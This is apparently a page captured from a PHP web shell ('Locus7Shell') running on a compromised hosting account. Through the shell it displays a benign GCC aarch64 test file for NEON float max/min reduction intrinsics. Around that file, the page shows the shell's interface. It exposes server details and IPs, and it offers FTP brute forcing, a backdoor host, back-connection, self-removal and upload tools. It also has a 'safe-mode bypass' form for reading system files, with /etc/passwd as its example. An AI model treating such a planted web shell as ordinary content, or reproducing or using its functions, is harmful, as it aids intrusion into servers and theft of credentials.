Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/aarch64/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     vect-vfmaxv.c (5.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run } */
/* { dg-options "-O3 --save-temps -ffast-math" } */

#include <arm_neon.h>

extern void abort (void);

extern float fabsf (float);
extern double fabs (double);
extern int isnan (double);
extern float fmaxf (float, float);
extern float fminf (float, float);
extern double fmax (double, double);
extern double fmin (double, double);

#define NUM_TESTS 16
#define DELTA 0.000001
#define NAN (0.0 / 0.0)

float input_float32[] = {0.1f, -0.1f, 0.4f, 10.3f,
             200.0f, -800.0f, -13.0f, -0.5f,
             NAN, -870.0f, 10.4f, 310.11f,
             0.0f, -865.0f, -2213.0f, -1.5f};

double input_float64[] = {0.1, -0.1, 0.4, 10.3,
              200.0, -800.0, -13.0, -0.5,
              NAN, -870.0, 10.4, 310.11,
              0.0, -865.0, -2213.0, -1.5};

#define EQUALF(a, b) (fabsf (a - b) < DELTA)
#define EQUALD(a, b) (fabs (a - b) < DELTA)

/* Floating point 'unordered' variants.  */

#undef TEST
#define TEST(MAXMIN, CMP_OP, SUFFIX, Q, TYPE, LANES, FLOAT)        \
int                                    \
test_v##MAXMIN##v##SUFFIX##_##TYPE##x##LANES##_t (void)            \
{                                    \
  int i, j;                                \
  int moves = (NUM_TESTS - LANES) + 1;                    \
  TYPE##_t out_l[NUM_TESTS];                        \
  TYPE##_t out_v[NUM_TESTS];                        \
                                    \
  /* Calculate linearly.  */                        \
  for (i = 0; i < moves; i++)                        \
    {                                    \
      out_l[i] = input_##TYPE[i];                    \
      for (j = 0; j < LANES; j++)                    \
    {                                \
      if (isnan (out_l[i]))                        \
        continue;                            \
      if (isnan (input_##TYPE[i + j])                \
          || input_##TYPE[i + j] CMP_OP out_l[i])            \
        out_l[i] = input_##TYPE[i + j];                \
    }                                \
    }                                    \
                                    \
  /* Calculate using vector reduction intrinsics.  */            \
  for (i = 0; i < moves; i++)                        \
    {                                    \
      TYPE##x##LANES##_t t1 = vld1##Q##_##SUFFIX (input_##TYPE + i);    \
      out_v[i] = v##MAXMIN##v##Q##_##SUFFIX (t1);            \
    }                                    \
                                    \
  /* Compare.  */                            \
  for (i = 0; i < moves; i++)                        \
    {                                    \
      if (!EQUAL##FLOAT (out_v[i], out_l[i])                \
             && !(isnan (out_v[i]) && isnan (out_l[i])))    \
    return 0;                            \
    }                                    \
  return 1;                                \
}

#define BUILD_VARIANTS(TYPE, STYPE, W32, W64, F)    \
TEST (max, >, STYPE,  , TYPE, W32, F)            \
TEST (max, >, STYPE, q, TYPE, W64, F)            \
TEST (min, <, STYPE,  , TYPE, W32, F)            \
TEST (min, <, STYPE, q, TYPE, W64, F)

BUILD_VARIANTS (float32, f32, 2, 4, F)
/* { dg-final { scan-assembler "fmaxp\\ts\[0-9\]+, v\[0-9\]+\.2s" } } */
/* { dg-final { scan-assembler "fminp\\ts\[0-9\]+, v\[0-9\]+\.2s" } } */
/* { dg-final { scan-assembler "fmaxv\\ts\[0-9\]+, v\[0-9\]+\.4s" } } */
/* { dg-final { scan-assembler "fminv\\ts\[0-9\]+, v\[0-9\]+\.4s" } } */
TEST (max, >, f64, q, float64, 2, D)
/* { dg-final { scan-assembler "fmaxp\\td\[0-9\]+, v\[0-9\]+\.2d" } } */
TEST (min, <, f64, q, float64, 2, D)
/* { dg-final { scan-assembler "fminp\\td\[0-9\]+, v\[0-9\]+\.2d" } } */

/* Floating point 'nm' variants.  */

#undef TEST
#define TEST(MAXMIN, F, SUFFIX, Q, TYPE, LANES, FLOAT)            \
int                                    \
test_v##MAXMIN##nmv##SUFFIX##_##TYPE##x##LANES##_t (void)        \
{                                    \
  int i, j;                                \
  int moves = (NUM_TESTS - LANES) + 1;                    \
  TYPE##_t out_l[NUM_TESTS];                        \
  TYPE##_t out_v[NUM_TESTS];                        \
                                    \
  /* Calculate linearly.  */                        \
  for (i = 0; i < moves; i++)                        \
    {                                    \
      out_l[i] = input_##TYPE[i];                    \
      for (j = 0; j < LANES; j++)                    \
    out_l[i] = f##MAXMIN##F (input_##TYPE[i + j],  out_l[i]);    \
    }                                    \
                                    \
  /* Calculate using vector reduction intrinsics.  */            \
  for (i = 0; i < moves; i++)                        \
    {                                    \
      TYPE##x##LANES##_t t1 = vld1##Q##_##SUFFIX (input_##TYPE + i);    \
      out_v[i] = v##MAXMIN##nmv##Q##_##SUFFIX (t1);            \
    }                                    \
                                    \
  /* Compare.  */                            \
  for (i = 0; i < moves; i++)                        \
    {                                    \
      if (!EQUAL##FLOAT (out_v[i], out_l[i]))                \
    return 0;                            \
    }                                    \
  return 1;                                \
}

TEST (max, f, f32, , float32, 2, D)
/* { dg-final { scan-assembler "fmaxnmp\\ts\[0-9\]+, v\[0-9\]+\.2s" } } */
TEST (min, f, f32, , float32, 2, D)
/* { dg-final { scan-assembler "fminnmp\\ts\[0-9\]+, v\[0-9\]+\.2s" } } */
TEST (max, f, f32, q, float32, 4, D)
/* { dg-final { scan-assembler "fmaxnmv\\ts\[0-9\]+, v\[0-9\]+\.4s" } } */
TEST (min, f, f32, q, float32, 4, D)
/* { dg-final { scan-assembler "fminnmv\\ts\[0-9\]+, v\[0-9\]+\.4s" } } */
TEST (max, , f64, q, float64, 2, D)
/* { dg-final { scan-assembler "fmaxnmp\\td\[0-9\]+, v\[0-9\]+\.2d" } } */
TEST (min, , f64, q, float64, 2, D)
/* { dg-final { scan-assembler "fminnmp\\td\[0-9\]+, v\[0-9\]+\.2d" } } */

#undef TEST
#define TEST(MAXMIN, CMP_OP, SUFFIX, Q, TYPE, LANES, FLOAT)        \
{                                    \
  if (!test_v##MAXMIN##v##SUFFIX##_##TYPE##x##LANES##_t ())        \
    abort ();                                \
}

int
main (int argc, char **argv)
{
  BUILD_VARIANTS (float32, f32, 2, 4, F)
  TEST (max, >, f64, q, float64, 2, D)
  TEST (min, <, f64, q, float64, 2, D)

#undef TEST
#define TEST(MAXMIN, CMP_OP, SUFFIX, Q, TYPE, LANES, FLOAT)        \
{                                    \
  if (!test_v##MAXMIN##nmv##SUFFIX##_##TYPE##x##LANES##_t ())        \
    abort ();                                \
}

  BUILD_VARIANTS (float32, f32, 2, 4, F)
  TEST (max, >, f64, q, float64, 2, D)
  TEST (min, <, f64, q, float64, 2, D)

  return 0;
}


Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0056 ]--